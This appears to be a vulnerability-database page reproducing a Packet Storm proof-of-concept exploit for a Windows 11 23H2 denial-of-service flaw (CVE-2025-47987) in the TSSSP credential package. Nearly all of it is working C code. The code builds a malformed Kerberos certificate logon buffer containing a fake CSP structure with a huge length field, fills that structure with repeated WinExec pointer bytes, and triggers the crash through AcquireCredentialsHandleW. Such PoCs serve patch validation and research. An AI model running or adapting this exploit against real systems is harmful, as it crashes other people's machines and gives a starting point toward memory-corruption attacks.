PACKETSTORM 7.8 HIGH

📄 Microsoft Windows 11 23H2 Denial of Service_PACKETSTORM:220388

7.8 / 10
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

Microsoft Windows 11 23H2 suffers from a denial of service vulnerability...
Visit Original Source

Basic Information

ID PACKETSTORM:220388
Published May 5, 2026 at 00:00

Affected Product

Affected Versions # Exploit Title: Windows 11 23H2 - Denial of Service (DoS)
# Google Dork: N/A
# Date: 2025-08-22
# Exploit Author: Kryptoenix
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-us/software-download/windows11
# Version: Windows 11 23H2
# Tested on: Windows 11 23H2 (x64)
# CVE: CVE-2025-47987



#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <credssp.h>
#include <stdint.h>
#include <wchar.h>

#pragma comment(lib, "secur32.lib")


#define ALIGN_TO_8(x) (((x) + 7) & ~((size_t)7))


int BuildKerbCertLogonBuffer(
const WCHAR* username,
const WCHAR* domain,
const WCHAR* password,
const BYTE* certBlob,
DWORD certBlobSize,
BYTE** outBuffer,
DWORD* outBufferSize)
{
if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1;

uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR));
uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR));
uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR));

size_t offsetUser = 0x48; // header is fixed 0x48 bytes
size_t offsetPassword = offsetUser + ALIGN_TO_8(usernameLen);
size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen);
size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen);

size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize);

BYTE* buf = (BYTE*)malloc(totalSize);
if (!buf) return -1;
memset(buf, 0, totalSize);

// 0x00: type
*(uint64_t*)(buf + 0x00) = 13ULL;

// username entry
*(uint64_t*)(buf + 0x08) = usernameLen;
*(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser;

// password entry
*(uint64_t*)(buf + 0x18) = passwordLen;
*(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword;

// domain entry
*(uint64_t*)(buf + 0x28) = domainLen;
*(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain;

// cert offset/size
*(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; // :)
*(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize;
*(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert;

// payload copies
memcpy(buf + offsetUser, username, usernameLen);
memcpy(buf + offsetPassword, password, passwordLen);
memcpy(buf + offsetDomain, domain, domainLen);
memcpy(buf + offsetCert, certBlob, certBlobSize);

printf("\nHeader of packed buffer (first 64 bytes):\n");
for (size_t i = 0; i < (totalSize < 64 ? totalSize : 64); ++i) {
printf("%02x ", buf[i]);
if ((i & 0x7) == 0x7) printf("\n");
}
printf("\n");


*outBuffer = buf;
*outBufferSize = (DWORD)totalSize;
return 0;
}

BYTE* BuildFakeCspData(
const char* str,
size_t strLen,
DWORD providerValue, // stored at header[5]
DWORD* outSize)
{
if (!str) return NULL;

size_t lenChars = strLen + 1;
size_t stringBytes = lenChars;

size_t headerBytes = 44; // 40-byte base + one DWORD offset
size_t totalBytes = headerBytes + stringBytes;
if (totalBytes < 0x30) totalBytes = 0x30;

BYTE* buffer = (BYTE*)malloc(totalBytes);
if (!buffer) return NULL;
memset(buffer, 0, totalBytes);

// header[5] = providerValue
((DWORD*)buffer)[5] = providerValue;

// header[6] = offset for string (in bytes from start of data area)
((DWORD*)buffer)[6] = 0;

// copy the string into the data area
BYTE* stringArea = buffer + headerBytes;
memcpy(stringArea, str, lenChars);

printf("Header of CSP buffer (first 44 bytes):\n");
for (size_t i = 0; i < headerBytes; ++i) {
printf("%02x ", buffer[i]);
if ((i & 0x7) == 0x7) printf("\n");
}
printf("\n\n");


if (outSize)
*outSize = (DWORD)totalBytes;

return buffer;
}


unsigned char* ptrToBytes(void* ptr, size_t* outLen) {
size_t len = sizeof(void*); // 8 bytes
unsigned char* buf = (unsigned char*)malloc(len);
if (!buf) return NULL;
memcpy(buf, &ptr, len); // copy pointer value into buffer
if (outLen) *outLen = len;
return buf;
}

unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) {
size_t totalLen = patLen * repeatCount;
unsigned char* buf = (unsigned char*)malloc(totalLen);
if (!buf) return NULL;

// add padding for pointer allignment
memset(buf, 0, 4);

unsigned char* p = buf + 4;
for (size_t i = 0; i < repeatCount; i++) {
memcpy(p, pattern, patLen);
p += patLen;
}
return buf;
}

wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) {
if (!pattern || repeatCount == 0) return NULL;

size_t patLen = wcslen(pattern);
size_t totalLen = (patLen * repeatCount) + 1;

wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t));
if (!buf) return NULL;

wchar_t* p = buf;

// copy pattern repeatedly
for (size_t i = 0; i < repeatCount; i++) {
wmemcpy(p, pattern, patLen);
p += patLen;
}

*p = L'\0';

return buf;
}
int main(void)
{
size_t addrLen;
unsigned char* addrBytes = ptrToBytes((void*)WinExec, &addrLen);
if (!addrBytes) {
fprintf(stderr, "Failed to allocate address bytes.\n");
return 1;
}


size_t repeatCount = 0x1FFFFFE0; // 0xFFFFFF00 = 8 * 0x1FFFFFE0
unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount);
if (!hugeStr) {
fprintf(stderr, "Failed to allocate huge buffer.\n");
free(addrBytes);
return 1;
}

DWORD fakeSize;
printf("Building fake CSP buffer...\n\n");
BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, &fakeSize);

if (!fakeCsp) {
wprintf(L"Allocation failed\n");
return 1;
}

wprintf(L"Built fake CSPDATA size=0x%X\n\n", fakeSize);
//getchar();

SECURITY_STATUS status;
CredHandle credHandle;
TimeStamp expiry;

const WCHAR* username = L"exampleusername";
const WCHAR* domain = L"exampledomain";
const WCHAR* password = L"examplepassexamplepassexamplepassexamplepassexamplepass";


BYTE* buf = NULL;
DWORD bufSize = 0;

printf("Building fake KerbCertLogonBuffer...\n");
if (BuildKerbCertLogonBuffer(username, domain, password, fakeCsp, fakeSize, &buf, &bufSize) != 0) {
printf("Failed to build KerbCertLogonBuffer\n");
return 1;
}

printf("Trigerring the bug...\n");
status = AcquireCredentialsHandleW(
NULL,
(LPWSTR)L"TSSSP", // pszPackage (name of the security package)
SECPKG_CRED_OUTBOUND,
NULL,
buf, // pAuthData (pointer to authentication data)
NULL,
NULL,
&credHandle,
&expiry
);

if (status == SEC_E_OK) {
printf("AcquireCredentialsHandle succeeded\n");
FreeCredentialsHandle(&credHandle);
}
else {

if (status == SEC_E_INSUFFICIENT_MEMORY) {
printf("Not enough memory to trigger the crash :(\n");
printf("[-] PoC failed!\n");
}
else if (status == SEC_E_INTERNAL_ERROR) {
printf("\n[+] PoC succeded! Enjoy the crash >:D\n");
}
else {
printf("AcquireCredentialsHandle failed! Error: 0x%x\n",status);
printf("[-] PoC failed!\n");
}
}

if (buf) free(buf);
if(hugeStr) free(hugeStr);
if(fakeCsp) free(fakeCsp);
return 0;
}

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.